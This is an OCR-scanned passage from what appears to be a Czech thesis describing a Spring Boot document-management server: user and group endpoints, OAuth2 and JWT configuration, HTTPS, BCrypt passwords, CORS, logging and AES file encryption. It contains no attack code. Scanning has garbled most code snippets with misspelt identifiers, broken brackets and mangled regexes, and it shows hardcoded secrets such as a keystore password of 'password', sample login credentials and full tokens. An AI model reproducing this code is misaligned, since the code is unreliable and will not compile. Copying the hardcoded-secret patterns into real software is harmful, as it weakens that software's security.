user.getRoles () .forEach(s -> roles.add(userService.getRoleByNams(s)));
User u = userService.findUserById(ussr.getId());
u.setFirstName (user.getFirstNams());
u.setSurname (user.getSurname () ) ;
u.zetRoles (roles) ;
u.setEmail (user.getEmail());
try {
userService.updateUsesr (u) ;

loggsr.info ("USER " + user.getEmail() + " has been updated by " + auth.getNams());

Obrazek A7 : Aktualizace uzivatele

Pred deaktivaci/aktivaci uzivatele je nejdiive nutné vyhledat uzivatele dle jména. Na
obrazku 48 lze vidét, Ze je nejdiive zkontrolovano, zda zadany fetézec muize byt jméno.
Obrazek 49 ukazuje pouzivany JPQL dotaz pro ziskani uzivatelt dle ptijmeni. Ob&é metody se

nachazi ve tfidé UserRepositoryCustomImpl v balicku repository.
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ng (" /finds")
ed({ {"RDLE_DDCU'MENT_CREATDR") r "RDLE_ADMIN" 1)
public List<User> findByLike (ERsqus

stParam("email") String surname, CRuthZAuthentication cauth) {

if (surname.matches( regex "A[\\p{L}\\s.'\\-,1+8")) {

return userService.getUssrsBySurnames (surnams) ;

} else {
throw new ResponseStatusExceptiDn{HttpStatus.BAq_REQUEST, "Surname is not in the correct format.");
}
}
Obrazek 48: Hledani uzivatele podle jména
@override

public List<User> getUsersBySurname (String surname) {

TypedQuery<Ussr> ussrQuery = entityManager.creatseCuery( 5 "SELECT u FROM Ussr u" +

" WHERE u.surname LIKE :surname ORDER BY u.surname", User.class);
String like = "%" + surnams + "%";

ussrQusry.ssetParamster ( 5 "surname", like);

return userQuery.gstResultList();

Obrazek 49: JPQL dotaz pro ziskani uzivatelii podle prijmeni

Po obdrzeni dat jsou vypsany vysledky. Je mozné kliknout na chténého uZivatele.
Touto akci dojde k vypsani informaci o uzivateli a nachazi se zde dv¢ tlacitka — Update a
Deactivate/Activate. Tlacitko Deactivate se objevi V pfipadé, Ze zvoleny uzivatel ma
nastaveny atribut active na 1. Pokud je atribut active nastaven na 0, objevi se tlacitko Activate.
Pfi deaktivaci je uzivatel vymazan ze vSech skupin a jSou vymazana i vSechna jeho spojeni
s dokumenty. Nebude jiz tedy dostavat zadné informace prostfednictvim emailti ohledné

dokumentt, u kterych byl vybran ke schvalovani nebo ke ¢teni.

UPDATE DEACTIVATE

Obrazek 50: Update a Deactivate tlacitka
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public woid deactivateUser (long id) {
User user = findUserById(id);
if (user.isctive () ) {
unitService.removeUserFromGroups (1d) ;
removelUserFromUsersDocuments {(1d) ;
}

user.ssthctive (luser.islctive());

updateUser (user) ;

Obrazek 51: Deaktivace uzivatele

3.3.5 Skupiny

Je umoznéno vytvareni vlastnich skupin pro sdileni dokument. Celkem muze mit
uzivatel vytvotenych tticet skupin.
Tvorba skupiny zahrnuje vyhledani uzivateli dle pfijmeni. Budou vraceny vSichni

uzivatelé, kteti odpovidaji tomuto zadani a maji aktivni ucet.

USERS

€ JANVEVER...

Obrazek 52: Vysledek vyhledavani

Prostfednictvim ikonky plus je dany uzivatel pfidan do skupiny. Skupinu je nutné
pojmenovat a mit v ni alesponl jednoho uzivatele. Nyni mohou byt data poslana na server na

end-point /groups metodou POST.

Efezur%i{{{”RDLE_DOGUMENT_CREAIOR”), {”RDLE_ADMIN”)}}

public void createGroup(BValid BRegquestBody UnitBody unit, OAuth2Authentication auth) {
try {

unitService.saveUnit (unit, auth.getNams());

logger.info ("Unit " + unit.getName() + " has been created by " + auth.getName());

Obrazek 53: Ulozeni skupiny

Je umoznéna aktualizace skupin. Musi byt vyhledany vSechny uzivatelovy skupiny
prostfednictvim dotazu /groups metodou GET. Nasledné je mozné zvolit n¢jakou ziskanou
skupinu a provést chténou operaci. Aktualizace probiha tak, ze je odeslana zZadost na end-point

/groups metodou PUT. Na serveru jsou data zkontrolovana a piipadné je vykonana
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aktualizace. Jak lze vidét na obrazku 55, je zkontrolovano, zda posland skupina obsahuje
néjaké Cleny. Pokud ne, skupina je smazana. Za piedpokladu, ze skupina obsahuje né&jaké
¢leny, je provedena kontrola, zda dany uzivatel ma dostate¢né opravnéni ménit tuto skupinu.

Metoda na obrazku 54 se nachazi v tfidé UnitService v bali¢ku service.

public void updateUnit (Group group, String email) throws AuthorizationServiceException |

Ussr user = userService.getUserByEmail (email).get();

if (group.getIds () .size () == 0){
deleteUnit (group.getId(), =mail);
return;

}

if (user.getGroups () .stream() .anyMatch (unit -> unit.getId() == group.getId())){
Unit unit = new Unit();

unit.ssetId{group.gstId());
unit.setName (group.getName () ) ;
unit.setUser (usex) ;
unit.setUsers (userService.getUsersFromIds (group.getIds()));
unitRepository.updateUnit (unit);
} else |

throw new ButhorizationServiceException("You cannot update this group.”);

Obrazek 54: Aktualizace skupiny

Smazani skupiny je provedeno tak, ze musi byt poslana zadost na /groups metodou
DELETE. Je zkontrolovano, zda uzivatel ma pravo mazat tuto skupinu piedtim, nez dojde
k samotné operaci smazani dokumentu. Tato metoda se nachdzi v bali¢ku UnitService

Vv bali¢ku service.

public void deleteUnit (long id, String email) throws RuthorizationServiceException |

Unit unit = unitRepository.getOne(id);

User user = userService.getUserByEmail (email) .get();
if (user.getGroups () .contains (unit)) {

unitRepository.delete (unit);
} else {

throw new AuthorizationServiceException("You do not have permission to delete this group.");

Obrazek 55: Smazani skupiny

3.3.6 Dalsi funkcionalita

Pii odhlaseni je poslana zprava na server na end-point /oauth/revoke-token metodou
POST, se zpravou, Ze doslo k odhlaSeni uzivatele. Na obrazku 56 Ize vidét zpusob, jakym je
feSena operace odhlaseni uzivatele. Tato metoda se nachazi ve tfidé OauthController v balicku

controller.
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PostMapping (value = "/oauth/revoeke—token")

@ResponssStatus (HttpStatus. OK)

public wvoid logout (HttpServletRegquest regquest, ORAuthZZuthentication auth) |

String authHeader = request.getHesader( 5 "Authorization");

if (authHeadsr !'= null) {
String tokenValue = authHeader.replace( targel: "Bearern, replacement: »») trim();
OhuthZhccessToken accessToken = tokenStore.readhccessToken (tokenValue) ;

tokenStore.removelccessToken (accessToken) ;

logger.info("User " + auth.getName() + " has logged out.");

Obrazek 56: Odhlaseni

3.2 Bezpecnostni mechanismy na serveru

3.2.1 Oauth2

Autorizaéni server
Na obrazku ¢islo 57 1ze vidét cast kodu pro konfiguraci autorizacniho serveru. Metoda

se nachazi ve tfidé AuthorizationServer v bali¢ku config.

@override
public void configure (ClientDetailsServiceConfigurer clients) throws Exception {
clients

-inMemory () InMemoryClientDetailsServiceBuilder
.withClient (Const.CLIENT ID) ClientDetailsServiceBuilder<InMemoryClientDetailsServiceB
.secret (Const.CLIENT SECRET) ClientDetailsServiceBuilder<InMemoryClientDetailsServiceB
.authorizedGrantTypes (GRANT TYPE PASSWORD, REFRESH TOKEN) ClientDetailsService
.scopes (SCOPE_WRITE, SCOPE READ) ClientDetailsServiceBuilder<inMemoryClientDetailsSel
.accessTokenValiditySeconds (900) ClientDetailsServiceBuilder<inMemoryClientDetailsSel
.refreshTokenvValiditySeconds (1800) ;

Obrazek 57: Autorizacni server

Je nutné oznacit tuto tfidu pomoci dvou anotaci.

o @Configuration — tato anotace fika, ze tato tfida bude slouzit jako
konfigurac¢ni.
o @EnableAuthorizationServer — povoleni autoriza¢niho serveru.

Tato tfida musi dédit z t¥idy AuthorizationServerConfigurerAdapter. Metoda
configure(ClientDetailsServiceConfigurer clients) specifikuje piihlaSovaci tdaje klientské
aplikace a nabizené sluzby. Je patrné, Ze tato konfigurace bude ukladat sluzby v paméti. Typy
grantu reprezentuji prava klientské aplikace na informace uzivatele. V tomto ptipad¢ klientska

aplikace ma prava cCist a psat uzivatelovo heslo a obnovovaci token. Je definovano, ze
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piistupovy token ma zivotnost 900 sekund a obnovovaci token ma zivotnost 1800 sekund.
Musi byt definovan AuthentizationManager bean. Spring umoznuje tento bean pouzivat
automaticky pomoci @Autowired anotace.
TokenStore je objekt, ve kterém budou ulozeny identifikatory, které autoriza¢ni server
vytvoii. V tomto piipadé je pouzit InMemoryTokenStore, ktery uklada identifikatory do
paméti.

@Bean

protected InMemoryTokenStore tokenStore() | return new InMemoryTokenStore(); |}

Obrazek 58: TokenStore u autorizacniho serveru

Na obrazku ¢islo 59 je vytvafen novy bean, kde je nastaven objektu typu

rv o

JwtAccessTokenConverter par klica. K tomuto ucelu je potieba nacist Java KeyStore, ktery
byl vygenerovan pomoci nastroje KeyToolExplorer. Tim je zajisténo podepsani tokend na

strané autoriza¢niho serveru.

@Bean

protected JwtAccessTokenConverter jwtTokenEnhancer() |
JwthcocessTokenConverter converter = new JwthocessTokenConverter()
FeyStoreReyFactory keyStoreReyFactory =
new FEeyStoreReyFactory(new ClassPathResource ("test.jks"), "password".toCharZrray()):;

converter.setReyPair (keyStoreReyFactory.getEeyPair ( alias "test"));

return converter;

Obrazek 59: Asymetrické podepsani JWT na strané autorizacniho serveru

Metoda  configure(AuthroizationServerEndpointConfigurer  endpoints)  slouzi
k nastaveni funkcionality end-pointli autoriza¢niho serveru. Témto end-pointim jsou
nastaveny objekty tokenStore, jwtTokenEnhancer a authenticationManager. Povolujeme

pouze metodu POST pro vSechny end-pointy autoriza¢niho serveru.

Boverride
public wvoid configure (AuthorizationServerEndpointsConfigurer endpoints) throws Exception |
endpoints
.tokenStore (tokenStore () ) .reussRefreshTokens (false)
.tokenEnhancer (jwtTokenEnhancer () )
.authenticationManager (authenticationManager)

.allowedTokenEndpointRequestMethods (HttpMethod. POST) ;

Obrdazek 60: Konfigurace end-pointit autorizacniho serveru
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Resource server

Ttida, ktera zastupuje resource server se jmenuje ResourceServer a nachézi se v balicku
config. Musi byt ozna¢ena anotaci @Configuration a @EnableResourceServer a je nutné, aby
dédila z tridy ResourceServerConfigurerAdapter. Vyznam druhé anotace je, ze povolujeme
resource server v dané tfidé.

Na obrazku 61 Ize vidét proces ovéfovani podpisu tokeni pomoci vetejného klice.
Pokud nedojde ke spravnému ovéreni podpisu, aplikace vrati chybu uzivateli.

@Bean

protected JwthccessTokenConverter jwtTokenEnhancerr () {

JwthccessTokenConverter converter = new JwthcoccessTokenConverter ()
Resource resource = new ClassPathResource("public.txt™);
String publicRey = null;
try {
publicEey = IOUtils. toString(resource.getInputStream());

} catch (final ICException =) {
throw new RuntimeException(e);

1

converter.setVerifierFey (publicRey) ;

return converter;

Obrazek 61: Overeni podpisu

Je nutné piepsat metodu configure zptisobem zobrazenym na obrazku 62. Je zde
nastaven objekt tokenStoree, ktery je typu JwtTokenStore. Tiida JwtTokenStore pouze ¢te
data z token, nic neuklada a pouziva objekt typu JwtAccessTokenConverter ke ¢teni a
ovetovani tokent.

@Override

public void configure (ResourceServerSecurityConfigurer config) { config.tokenStore(tokenStorse());

@E=an

public TokenStore tokenStorees() { return new JwtTokenStore (jwtTokenEnhancerr()); |}

Obrazek 62: JwtTokenStore a metoda configure

K povoleni HTTP bezpecnosti je nutné ptepsat metodu na obrazku 63.
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Boverride
public void configure (HttpSecurity http) throws Exception {
http.authorizeRequests () .antMatchers( -antPatterns: »ocauth/token") .permitall ()
.and() .authorizeRequests () .antMatchers ( .antPatiems: "cauth/valid") .permitall();
http
.authorizeRequests() ExpressioninterceptUrlRegistry
.antMatchers( -antPattems: »/documents/**") _authenticated() ExpressionUrlAuthorizationConfigurer<HttpSecurity> ExpressioninterceptUrlRegistry
.antMatchers( ..antPatterns: " fusers/**") . authenticated () Expre
.antMatchers( .antPattemns: »/groups/**") .authenticated() ExpressionUrlauthorizationConfig <Https, y
.antMatchers( ..antPatterns: »/oauth/revoke-token") .authenticated() ExpressionUrlauthaorizationConfigurer<Htt

anUrlauthorizationConfig

.and() -exceptionHandling() .accessDeniedHandler (new OButh2AccessDeniedHandler ()) ExceptionHandlingConfigurer<HttpSecurity>
.and () HttpSecurity

.sessionManagement () S5essionManagementConfigurer<HttpSecurity>

.sessionCreationPolicy (SessionCreationPolicy.STATELESS) SessionManagementConfigurer<HttpSecurity:>

.and () HttpSecurity

.headers () Head
.contentSecurityPolicy( policy

ersConfigurer<Https

es: "default-src 'none'; script-src 'self'; connect-src 'self’; img-src 'self'; style-src 'self'");

Obrazek 63: HTTP bezpecnost

Timto zpusobem fikame, ze povolujeme vSechny Zadosti na end-point /oauth/token a
/oauth/valid. Pozadujeme, aby uZivatel, ktery chce pfistoupit k end-pointim /documents/**,
lusers/**, [groups/** a /oauth/revoke-token byl jiz autentizovan. To znamena, ze k pfistupu
k t¢émto end-pointim je vyzadovan ptistupovy token. Také se nastavuje, ze aplikace nepouziva
cookies a pfidava se hlavicka CSP.

Dalsi tfida, ktera souvisi s nastavenim bezpecnosti resource serveru je SecurityConfig
ve stejném balicku. Musi byt oznacena anotaci @Configuration, @EnableWebSecurity a
@EnableGlobalMethodSecurity a musi dédit z tfidy WebSecurityConfigurerAdapter.
Pfidanim anotace @EnableWebSecurity fikame, ze tato tfida je bezpecnostni konfigurace
Springu. Anotaci @EnableGlobalSecurity(securedEnabled=true) fikame, Ze chceme povolit
pouzivani anotace @Secured. Tato anotace umoznuje kontrolovat, zda uzivatel je opravnén

piistoupit k chranénému zdroji.

@EnableGlobalMethodSecurity (securedEnabled = true)
public class SscurityConfig extends WebSecurityConfigurerAdapter |
@hutowired

private UserDetailsService userDetailsService;

Obrazek 64: Anotace tridy SecurityConfig

Metoda global(AuthentizationManagerBuilder) obsahuje informace, jakym zpisobem
jsou ziskavany informace o uzivateli.

Biutowired
public wvoid globalUserDetails (RuthenticationManagerBuilder auth) throws Exception {

auth.userDetailsService (userDetailsService) .passwordEncoder (passwordEncoder) ;

Obrdzek 65: Metoda globalUserDetails
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UserDetailsService interface je pouzivano k ziskani informaci o uzivateli. Ma jednu

metodu loadUserByUsername, ktera muze byt pfepsana za ucelem pfizpisobeni procesu

vyhledavani uzivatele. Tato vlastni implementace mlze byt nalezena ve tfid¢

UserDetailsService v bali¢ku service.

return new User (appUser.getEmail (),
appUser.getPassword(),
getButhority (appUser.getId()));

Obrazek 66: Vraceni objektu typu User

3.22HTTPS

REST server byl nakonfigurovan tak, aby komunikoval pouze pomoci HTTPS,

nevyuzival slabé Sifry a ke komunikaci pouzival pouze TLS1.2.

V prvnim kroku bylo nutné ziskat certifikdt podepsany sam sebou. Postup ziskdni

certifikdtu je popsan v kapitole 2.2.1. Tento certifikdt 1ze najit ve sloZce

resources/keystore/dm_fin.p12.

Spring Boot pouziva ke konfiguraci soubor application.properties, ktery se nachazi ve

slozce resources. V tomto souboru je pouzita konfigurace na obrazku ¢islo 67.

server.
server.

server

server
server

server.

server

ssl.
ssl.
.ssl
server.

ssl.
.port=8443

key-store-type=PKCS12
key-store=classpath:keystore/dm fin.pl2

.key-store-password=passwor4
ssl.
.ssl
.ssl.

key-alias=dm fin

.protocol=TLS

enabled-protocols=TLSv1.2
ciphers-DTLS_ECDHE RSA WITH AES 256 GCM SHA384,TLS_ECDHE RSA WITH AES 128 GCM_ SHA256,TL

Obrazek 67: Nastaveni HTTPS

3.2.3 Autentizace

Pii prihlaseni uzivatele je poslana zadost zobrazena na obrazku 68.

POST foauth/token HTTR/ 1.1

Host: 192.165.8.183: 58443

Authorization: Basic bXktY2xpZWse0g==
Content-Type: application/x-www-form-urlencoded

username=test¥d@seznam.cz&grant_type=password&password=515EAGLr¥23

Obrazek 68: Autentizacni zadost
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Je nutné pouzit metodu POST na end-point /oauth/token. Musi byt pfitomna hlavicka
Authorization: Basic [prihlasovaci udaje klienta zakédované pomoci Base64] a Content-Type
nastaven na application/x-www-form-urlencoded. Pokud hlavicka Authorization: Basic
[hodnota] obsahuje spravné piihlasovaci udaje klienta a prihlasovaci udaje uzivatele jsou

Vv poradku, aplikace vrati nasledujici udaje ukdzané na obrazku 69.

{

"access_token":
"eylhbGci0ilSUzI1NiIsInR5cCI6TkpXVCI9. eylleHAIOFELINZEWNGYINDYsInVzZXIFbmFtZSI6InBhdHIpa2lhc
nlza2FAZ21halwuY29tTiwiYXVeaG9yaXRpZXMi01lsiUKOMRVIETONYTUVOVFODUKVBVESSTIiwiUkaMRYVIVUBVSI1Gs
Imp8aSI6IjAINGYmMZTUSLWVmMNDUtNGEZNiIB®5Z jkwlT1j0Dkz0GZ jJMWE3IOSIsImNsaWVudFIpZCI6Iml5LWNsakWVudCI
sInNjb3B1lIjpbIndyaXR1TIiwicmVhZCIdfQ.cpciNXlvaKSLWHecGfjznAAWRIH1BET22ip13IENCeHytkf3d0OpEGKY
5-Sh-tKigcC-
9ROVI4rBeNYX2RBbxeN46CxDRcKi1IpnuBOVQWkOrTQBW_Sk96EG1AMYrZhK_mhSRUqynWHupoQlugqHhjEppupBeg-
n2RUXCzfaV-co08j0BmISDtgEgsdu_cXPzxREAFCbsrabXSHtMLfUSFiluBECB5S_wk-
m6kDVzP6jMIBQeVFQteIDZXbHtUrfDnb4DNeeo64WE781dnzHTiwPLtBKFR1eHQsCYuyUrCa6evMT tquFdi -
Cq2GdTukozaHetrM77MND_EC7RFXOP_h3A™,

"token_type": "bearer”,

"refresh_token":
"eyJhbGciOilSUzIINIiIsINRScCISIkpXVCID. eyl1lc2VyX25hbWUi01iJwYXRyaWttYXI5c2thQGdtYWlsLmNvbSIsT
nNjb3B1IjpbIndyaXR1IiwicmhZCIdLCIhdGkiOiTWNTRIZmMUINC11Z Q1L TRhMZY LOWYSMCBYYZzg5MzhmYzFhNzki
LCI1eHAIOJEINZEwNZQyODYsImFldGhvemleawWwvzIjpbI1JPTEVFREGDVULIFTIRFQIIFQVRPULIIST1IPTEVFVWVNFUL]
dLCIqdGki0oiJiN2YSYmFiNS@SZTEWLTQANmItYjNLI0S1KYTYxMz cSN2MyNGELILCI jbGl1bnRFakWQioiltes1jbG11bn
QifQ.C100G2trWFF1rQuYIRPVio® STQv_YIxDR14wIBgd7FNL8BbalveBYnzB@ONuMqqg-
cjIzx_LSAQLWV__F_wvlp7Ic9F0OMssPiCcCQd12dfpwwcTL8ZIdqIMeiyZknQE3pUijx6GCaknWxDxMSGukUTF804kg2
h8Gx1cYA41AZATKcvkl_u-6_TaYgBOSUNrBPQSakUQnkhSedpHCo5Xn8g SEFUWVITtpWYBRT6-
FEWZLOVmMQQ7WIvGyKEt6QY4jHLWRHhVErGePPNLC jv23ZEMPEX91XWoEkqgxIx2h18bNIgRjIwCox@8couVwxs0eAY oy
2uwAyE1A4PPY ZuOONTW",

"expires_in": 899,

"scope”: "write read”,

"jti": "@54efe54-ef45-4336-5f08-2c8938Fcla7o”

Obrazek 69: Obdrzend data po uspésné autentizaci

Pomoci ptistupového tokenu je mozné piistupovat k chranénym zdrojim za
predpokladu, ze uzivatel ma dostatecné opravnéni.

Pii GspéSné autentizaci uzivatel obdrzi i obnovovaci token. Tento token slouZzi
k Zadosti o novy piistupovy token, za pfedpokladu, Ze vyprsela Zivotnost ptistupového tokenu.

Aplikace pouziva jeden duleZity end-point pro autentizaci, ktery slouzi k obrané proti
obchdzeni autentiza¢niho schématu. Klientska aplikace po uspésném loginu posila token ke

kontrole serveru. Metoda, ktera se stara o tento end-point je zobrazena na obrazku 70.

42



ng {valus = "ocauth/valid")

ponseStatus (HttpStatus. OK)

Mapp

public String isTokenValid(HttpServletRegquest reguest) |

String authHeader = request.getHeader( 5 "Authorization™) ;

if (authHeader != null) {
String toksnValus = authHeadsr.replace( farget! "Bearern, replacement: mw) _£rim() ;
ChuthZhcocessToken accessToken = tokenStore.readihccessToken (tokenValus) ;
if{accessToken != null) |

return "OK";
}

}
return "NOT OK";

Obrazek 70: Kontrola tokenu

3.2.4 Autorizace

Je ovétovano nekolika zplisoby, zda uzivatel ma pravo piistoupit k chranénému zdroji.
Jsou vyuZivany celkem tfi role, které byly vysvétleny v kapitole 2.1. Pomoci anotace

@Secured je stanoveno, které role mohou pfistoupit k danému chranénému zdroji.

GetMapping (value = "/owner/{id}")
@sscured({ ("ROLE DOCUMENT CREATOR"), ("ROLE ADMIN")})
public List<UserslApproval> getUsersForDocument (EPathVariable("id") long id, ORuth2Authentication auth) {

Obrazek 71: Chranény zdroj anotact (@Secured

Aby toto zabezpeceni bylo funkéni, je nutné ptidat nad tfidu SecurityConfig v balicku
config anotaci @EnableGlobalSecurity(securedEnable=true), jak je popsano v kapitole 3.2.1.

Role uzivatele se nachazi v ptistupovém tokenu. Dle roli, které se nachazeji v JWT
tokenu je rozhodnuto, zda uzivatel ma pravo pfistoupit k danému chranénému zdroji.

DalSim zplsobem autorizace je kontrola, zda uzivatel ma pfistup k né¢jakému objektu.
Pfikladem miuze byt metoda hasUserAccessToDocument(long documentlid, long userld) ve
ttidé DocumentRepository v balicku repository. Pokud je poslana zadost na end-point
/documents/[id] metodou GET uzivatelem, ktery nema mit k danému dokumentu piistup,
server vrati chybu uzivateli. Podobnych metod, které kontroluji, zda uzivatel ma ptistup

k objektu je v aplikaci vice.

3.2.5 Heslo

Musi byt vytvoren bean typu PasswordEncoder, ktery je zobrazen na obrazku ¢islo 72.

Tento bean obsahuje dvé zakladni metody — encode a matches.
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@B=an

public PasswordEncoder encodsr() { return new BCryptPasswordEncoder(); }

Obrazek 72: Bean encoder

Registrace klienta je provedena zptisobem zobrazenym na obrazku 73.

public wveoid createUser (User user) |
user.setPassword (encoder () .encode (user.getPassword()));

userRepository.createUser (user) ;

Obrazek 73: Vytvoreni uzivatele

Poskytnuté heslo musi spliiovat pozadavky popsané v kapitole 2.2.2. Tyto pozadavky
jsou zobrazeny na obrazku cislo 74.

Roverride
public boclean isValid(String password, ConstraintValidatorContext context) |
PasswordvValidator wvalidator = new PasswordValidator (Arrays.asList|(
new LengthRules (8, 40),
new UppercasseCharacterRule( num: 1},
new DigitCharacterRule( num: 1),
new SpecialCharacterRule( NUM: 1},
new LowercaseCharacterRule( num: 1),

new WhitespacsRule()));

RuleResult result = wvalidator.wvalidate (new PasswordData (password));
if (result.isvalid()) {
return true;

}

context.disableDefaultConstraintViolation();

context.buildConstraintViolationWithTemplate (
Joiner.con(",").join(validator.getMessages (result)))
.addConstraintvViolation () ;

return false;

Obrdazek 14: PozZadavky na heslo

Autentizace probiha tak, ze je porovnano heslo poskytnuté uzivatelem v prostém textu

s hash hodnotou ulozenou v databazi. Tento proces Ize vidét na obrazku 75.

if (BCrypt.checkpw (request.getParameter( 5 "password"), appUser.getPassword())){

Obrazek 75: Autentizace uzivatele
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Obrazek ¢islo 76 ukazuje, jak je feSena zména hesla. Je zkontrolovano, zda poskytnuté
aktualni heslo souhlasi s hash hodnotou hesla v databazi a nasledné je porovnana hash hodnota
aktualniho hesla s hash hodnotou nového hesla. Pokud nejsou stejné, dojde k operaci zmény

hesla.

public void changePassword(String name, String oldPassword, String newPassword) throws BadCredentialsException {

User ussr = userRepository.getUserByEmail (name).gst();

if (encoder () .matches (oldPassword, ussr.getPassword())) {
if (!encoder () .matches (newPassword, user.getPassword())) (
userRepository.changePassword (name, encoder () .sncode ((newPassword)));
} else {

throw new InternalError ("Provided password is the same or too familiar with your current one. Choose different one please");
}
} else |
throw new BadCredentialsException("Provided password is not correct.");

1

Obrazek 76: Zmeéna hesla

3.2.6 Chyby

Jsou vraceny vlastni reakce na chyby. K tomuto ucelu je pouzita tiida
EntityExceptionHandler v balicku exception. Tato tfida reaguje na vybrané chyby globalné.
Ktomuto ucelu je tieba ptidat anotaci @RestControllerAdvice nad tiidu a anotaci
@ExceptionHandler nad metodu, ktera se stara o vraceni vlastni zpravy v reakci na néjakou
vyhozenou vyjimku. Na obrazku ¢islo 77 je ptiklad jedné metody, ktera vraci vlastni zpravu

na chybu typu MethodArgumentMismatchException.

@ExceptionHandler (MethodArgumsntTypeMismatchException.class)

public ResponseEntity<?> handleMissingRegquestBody (MethodAirgumentTypeMismatchException =x, WebRegquest request) |

ErrorMessage errorCb] = new ErrorMessage (new Date(), Messagel "Wrong parameters occurred. Try it again please.",
request.getDescription( b false));

return new ResponssEntity<>(errorObj, new HttpHeaders(), HttpStatus.BAD REQUEST) ;

Obrazek T1: Globalni reakce na vyjimku

Je vyuzivén jeste jeden zplisob vraceni vyjimek uzivateli zobrazeny na obrazku 78.

if (surname.matches( regex w4 [\\p{ LIV\s. " \\-,148")) |
return userService.findByLikeActive (surname, cauth.gstNams());
} else {

throw new RespujnsestatusExceptiDn{HttpStatus.BAD_REQUEST, "Surname is not in the correct format.");

Obrazek 78: ResponseStatusException

3.2.7 CORS

Webovy server IS je nastaven, aby béZel na adrese docmanager.com na portech 80 a
443. REST server je nastaven, aby fungoval na stejné adrese, ale na portu 8443. Je tedy nutné

nastavit CORS, aby mohla klientska strana komunikovat s REST serverem pomoci
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technologie AJAX.
CORS je nastaveno ve tiid¢ CorsConfig v balicku config. Tato tiida je rozsifena o
interface Filter, ktery obsahuje dvé metody — init a doFilter. V metod¢ doFilter dochazi

k nastaveni CORS politiky, jak je ukazano na obrazku ¢islo 79.

response.setlHeader( 5 "Access—Control-Allow—Origin®, 51t "https://docmanager.com") ;
response.setHeader( 5 "Vary", sl "origin");
response.sctHeader( 5 "Access-Control-Allow-Methods", sl "POST, GET , DELETE, PUT");

response.setHeader( 5 "Access-Control-Max-Age™, s1: "3600");

response.setHeader ( 5 "Access—-Control-Allow-Headers", s1: "Content-type, Authorization");
if ("OPTIONS".equalsIgnoreCase (request.getMethod())) {

response.sstItatus (HttpServletResponss. 5C OK);
1 else {

chain.doFilter (reg, res);

}

Obrazek 79: Nastaveni CORS

3.2.8 Managment end-pointy
Spring Boot umoziiuje pouzivani actuator end-pointy. To jsou end-pointy, které
umoznuji monitorovat aplikaci. Spring Boot nabizi nékolik zabudovanych end-pointi a
umoziuje piidani vlastnich end-pointd. End-point /actuator/health poskytuje zakladni
informace o aplikaci [18]. Tyto end-pointy lze vyuZzivat pti vyvoji, ale pii nasazeni aplikace
by mély byt vypnuty, protoZe mohou prozradit interni informace o aplikaci.
Vypnuti actuator end-pointl 1ze dosdhnout pfidanim konfigura¢niho fadku zobrazené¢ho

na obrazku 80 do souboru application.properties ve sloZzce resources.

management.endpoints.enabled-by-default=false

Obrazek 80: Vypnuti actuator end-pointii

3.2.9 Logovani

V souboru logback.xml se nachazi konfigurace logovani v aplikaci. Podrobné&jsi popis
logovani je popsan v kapitole 2.2.10.
Na obrazku cislo 81 lze vidét vytvotreni objektu typu Logger. Timto zpiisobem

ziskavame loggera definovaného v souboru logback.xml se jménem login.
private static Logger leoggsr = LoggerFactory.gstLeogger( name: "login™) ;

Obrazek 81: Vytvoreni instance tridy Logger
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Zapisovani do souboru je ukazano na obrazku 82. Uzivatel se uspé$né odhlasil a tato

informace se zaznamenava do logu.

oggsr.info("User " + auth.getNams() + " has logged out.");

b

Obrazek 82: Zapis informace do logu

Definovani globalniho logovaciho souboru je nastaveno pfidanim fadku zobrazeného na

obrazku 83 do souboru application.properties ve sloZce resources.

logging.file = logfile.log

Obrazek 83: Globalni logovact soubor

3.2.10 Sifrovani na disku

Je umoznéno Sifrovani dokumentl na disku pomoci symetrického kli¢e. K tomuto
ucelu slouzi tiida EncrypterDecrypter v bali¢ku utils. Tato tfida umoziuje zasifrovani
dokumentu pomoci algoritmu AES a ulozeni zaSifrovaného dokumentu na disk. Velikost klic¢e

je 256 bith. Tuto metodu 1ze vidét na obrazku ¢islo 84.

public void encrypt(String fileNams, MultipartFile file) throws InvalidEeyException, IOException {
cipher.init{Cipher.ENCRIPT_MODE, secretKey) ;
byte[] iv = cipher.getIV();

try (FileCutputStream fileCut = new FileOutputStream(fileName);

CipherCutputStream cipherCut = new CipherCutputStream(fileCut, cipher)) {
fileCut.write (iv);

cipherCut.write (file.getBytes()); files.gs
} cateh (ICException =) {

throw new IOException("Error while processing file");

Obrazek 84: Zasifrovani a ulozeni dokumentu

Tato tfida umoziuje také desifrovani pomoci metody, kterou lze vidét na obrazku 85

public byte[] decrypt(String fileName) throws InvalidReyException, ICException, InvalidAilgorithmParamsterException {
Path path = new File(fileName) .toPath();
try (FileInputStream £ileIn = new FileInputStream(path.toFile()}) {
byte[] £ileIv = new byte[l6];
fileIn.read(£filelv);
cipher.init (Cipher.DECRYPT MODE, secretKey, new IvParamsterSpec(filelv));

try (
CipherInputStream cipherIn = new CipherInputStream(filelIn, cipher);
)
return cipherIn.read&llBytes();
}
} eatch (InvalidReyException =) {
throw new InvalidReyException("Invalid key exception”);

}

Obrdazek 85: Desifrovaci metoda
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3.2.11 Zakazané a povolené metody

Jsou povoleny metody GET, POST, OPTIONS, PUT a DELETE. Metoda OPTIONS
musi byt povolena kviili CORS.

Metody TRACE, CONNECT a HEAD vraci vyjimku method_not_allowed, jak 1ze vidét
na obrazku ¢islo 86.

if(((HttpSsrvletRequest) reg).getMsthod().equals("TRACE") || ((HttpSsrvletReguest) req) .getMethod().sguals("CONNECT")
|| { (HttpServletRequest) req) .getMethod () .equals ("HEAD")) {
responss.ssndError (HttpServlstRssponss.SC METHOD NOT ALLOWED, ° ((HttpSsrvlstRequsst) reg).getMethod() + " is not allowsd.");

return;

Obrazek 86: Zakazané metody

3.2.12 Validace inputu

Validace inputu na stran¢ serveru je velmi kritickd ¢ast bezpecnosti. Jsou validovana
vSechna ptichozi data.

Piikladem muze byt validace uzivatelského jména ve tiidé¢ UserBody v balicku model
na obrazku c¢islo 87. Aby tato validace byla funk¢ni, je nutné oznacit objekt, ktery chceme

validovat pomoci anotace @Valid.

EColumn (nams = ”firstiname”, length = 40, nullable = false)
jc =({min=3, max=40, message = "Size must be 3-40 chars.")
ENotBlank (message = "Firstname cannot be blank.")

EPattern(regexp = "“[\\p{L}\\s.’\\—,]+$", message = "First name does not seem to look like name. Try again")

private String firstName;

Obrazek 87: Validace jména

Dals$im typem validace je pouziti vlastnich anotaci. V kapitole 3.2.5 je popisovana
politika hesla. Pokud potfebujeme pouzit tuto validaci hesla, pfidame vlastni vytvoienou

anotaci nad dané pole, jak lze vidét na obrazku ¢islo 90.

@vValidPassword(message = "Password is not ck.")

private String newPassword;

